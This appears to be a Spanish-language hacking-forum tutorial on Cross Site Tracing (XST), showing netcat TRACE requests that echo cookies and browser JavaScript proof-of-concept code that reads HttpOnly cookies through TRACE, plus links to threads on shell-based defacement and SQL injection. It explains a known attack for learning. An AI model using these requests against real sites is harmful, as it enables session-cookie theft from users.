comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Cross Site Tracing (XST)

  • 0 Respuestas
  • 1506 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Stuxnet

  • *
  • Underc0der
  • Mensajes: 259
  • Actividad:
    0%
  • Reputación 2
    • Ver Perfil
    • Devel Security
  • Twitter: _stuxnet
« en: Abril 02, 2013, 09:11:40 pm »

Cross Site Tracing - XST es una vulnerabilidad que se deriva de XSS y es generada por el método  HTTP TRACE que muestra las cookies que el navegador tiene para el dominio.

El método TRACE se utiliza principalmente para fines de depuración, pero Jeremiah Grossman descubrió en 2003 que se puede llegar a montar un ataque, que es conocido como XST.

El método HTTP TRACE. Este método se utiliza/ba para debugging de los servidores Web y viene activado por defecto en muchos servers. Lo único que hace es repetir toda información enviada por el cliente al server, es algo así como un echo. Un ejemplo del método Trace sería como sigue:

Código: You are not allowed to view links. Register or Login
$ nc 192.168.1.1 80 -vvv
TRACE / HTTP/1.1
Host: prueba
User-Agent: prueba
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Mon, 07 Dec 2009 17:07:16 GMT
X-Powered-By: ASP.NET
Content-Type: message/http
Content-Length: 50
TRACE / HTTP/1.1
Host: prueba
User-Agent: prueba
Como se observa, el servidor responde exactamente lo mismo que le enviamos en el pedido. La parte útil para el ataque, es que si armamos un pedido HTTP TRACE desde el browser a una página en la cual se utilizan cookies, el servidor nos responderá copiando las cookies de regreso. Por ejemplo, podríamos obtener el siguiente comportamiento:

Código: You are not allowed to view links. Register or Login
$ nc 192.168.1.1 80 -vvv
TRACE / HTTP/1.1
Host: prueba
Cookie: SID=13klj12jhlkjhdf09kasdn
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Mon, 07 Dec 2009 17:15:26 GMT
X-Powered-By: ASP.NET
Content-Type: message/http
Content-Length: 73
TRACE / HTTP/1.1
Host: prueba
Cookie: SID=13klj12jhlkjhdf09kasdn

Si podemos obtener la cookie enviada por el browser a través de XSS, para qué necesitamos el método TRACE? bueno resulta ser que hay casos en los que no es posible obtener las cookies utilizando Javascript (u otro lenguaje script ejecutado en el browser).

En browsers como IE6 SP1 y posteriores o Firefox 2.0.0.5 y posteriores, existe una opción de seguridad llamada HttpOnly cookies. Cuando un servidor web envía el parámetro HttpOnly dentro de las cookies, el browser no debería permitir que las cookies sean accesibles utilizando scripts como Javascript. Esto es, si la opción HttpOnly está activada, una llamada a document.cookie nos devolverá vacío, aún cuando existan cookies. Utilizando esta propiedad se previene el robo de cookies explotando vulnerabilidades XSS, lo cual es muy bueno.

Aca es donde entra en juego el XST. A través de XST se pueden obtener cookies aún cuando está activada la característica HttpOnly. Si armamos un pedido HTTP TRACE desde el browser, éste incorporará la cookie como parte del header (la cual todavía no podemos acceder). Ahora, cuando el servidor responda al pedido TRACE, éste incluirá la cookie como parte de la respuesta….

Cómo es posible armar un pedido HTTP TRACE utilizando Javascript? distintos browsers tienen distintos métodos. Para ejemplificar, les dejo los métodos usados por los dos browsers más conocidos, IE y Firefox.

Una forma de realizar este trabajo en Internet Explorer es utilizando el control ActiveX XMLHTTP. Un ejemplo de cómo utilizar esto para obtener cookies es el siguiente (tomado del paper CROSS-SITE TRACING (XST) de Jeremiah Grossman):

Código: You are not allowed to view links. Register or Login
<script type="”text/javascript”">
<!–
function sendTrace () {
     var xmlHttp = new ActiveXObject(“Microsoft.XMLHTTP”);
     xmlHttp.open(“TRACE”, ”http://foo.bar”,false);
     xmlHttp.send();
     xmlDoc=xmlHttp.responseText;
     alert(xmlDoc);
}
//–>
</script>
<input onclick="”sendTrace();”" request="" trace="" type="BUTTON" value="”Send" />

En firefox la función a utilizar es muy similar:

Código: You are not allowed to view links. Register or Login
<script type=”text/javascript”>
<!–
function sendTrace()
{
     xhttp=new XMLHttpRequest();
     xhttp.open(“TRACE”, ”http://foo.bar”,false);
     xhttp.send();
     xmlDoc=xhttp.responseXML;
     alert(xmlDoc);
}
//–>
</script>
<INPUT TYPE=BUTTON onclick=”sendTrace();” VALUE=”Send Trace Request”>

El uso de estas funciones tienen una restricción: no permiten al browser conectarse a otro dominio que no sea el de la página que está mostrando. Pero esto igualmente no es problema para realizar el ataque.

You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

 

¿Te gustó el post? COMPARTILO!



Deface un site utilizando shell c99 por keymort

Iniciado por ..::key-m0rt::..

Respuestas: 4
Vistas: 3699
Último mensaje Marzo 30, 2011, 08:56:50 pm
por Devilboy
SQLi Site Scanner (SQPY)

Iniciado por hdbreaker

Respuestas: 3
Vistas: 3760
Último mensaje Octubre 06, 2014, 01:08:40 am
por Baku
WordPress Wordfence Firewall 5.1.2 Cross Site Scripting Vulnerability

Iniciado por Mayk0

Respuestas: 0
Vistas: 1745
Último mensaje Noviembre 07, 2014, 01:55:54 pm
por Mayk0
Ataques CSRF (Cross site request forgery)

Iniciado por M5f3r0

Respuestas: 11
Vistas: 5421
Último mensaje Septiembre 09, 2013, 03:48:08 pm
por M5f3r0
Cross Site Scripting (XSS) y Vectores de Evasion

Iniciado por hdbreaker

Respuestas: 4
Vistas: 2424
Último mensaje Abril 05, 2013, 01:47:21 am
por zoro248